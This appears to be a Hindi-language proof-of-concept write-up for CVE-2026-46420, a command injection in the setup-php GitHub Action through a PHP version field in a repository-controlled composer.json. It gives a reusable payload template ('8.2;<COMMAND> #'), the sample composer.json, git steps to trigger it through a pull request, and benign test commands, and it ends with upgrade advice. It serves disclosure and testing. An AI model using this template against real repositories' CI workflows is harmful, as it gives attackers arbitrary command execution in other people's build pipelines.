
CVE-2026-46420 के लिए PoC, shivammathur/setup-php में रिपॉजिटरी-नियंत्रित PHP संस्करण समाधान के माध्यम से कमांड इंजेक्शन।
shivammathur/setup-php में कमांड इंजेक्शन, जब PHP संस्करण रिपॉजिटरी-नियंत्रित फ़ाइलों से लोड किया जाता है।
प्रभावित:
>= 2.25.0, < 2.37.1
ठीक किया गया:
>= 2.37.1
लक्ष्य रिपॉजिटरी में पहले से ही एक कमजोर वर्कफ़्लो है जो पुल रिक्वेस्ट की सामग्री को चेकआउट करता है और [email protected] चलाता है।
हमलावर केवल composer.json बदलता है।
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
जब setup-php PHP संस्करण को composer.json से पढ़ता है, तो इंजेक्ट किया गया कमांड जनरेट की गई शेल स्क्रिप्ट में शामिल हो जाता है और निष्पादित होता है।
परिणाम:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
लक्ष्य रिपॉजिटरी से एक ब्रांच बनाएं:
git checkout -b poc-test
साफ composer.json को PoC संस्करण से बदलें:
cp attacker/composer.json composer.json
कमिट और पुश करें:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
poc-test से main तक एक पुल रिक्वेस्ट खोलें।
Actions रन में दिखना चाहिए कि setup-php चरण के दौरान demo-app/.env.example संशोधित किया गया था।
पेलोड प्रारूप है:
8.2;<COMMAND> #
वर्तमान पेलोड:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
निष्पादित कमांड है:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
PoC जो करता है उसे बदलने के लिए, 8.2; और # के बीच के कमांड को बदलें।
एक फ़ाइल बनाएं:
8.2;touch poc-executed #
एक फ़ाइल में लिखें:
8.2;printf 'poc executed\n' > poc-result.txt #
कमांड आउटपुट प्रिंट करें:
8.2;id #
उदाहरण composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
[email protected] या नए संस्करण में अपग्रेड करें।
पैच किए गए संस्करण पर वही पेलोड अस्वीकार कर दिया जाता है।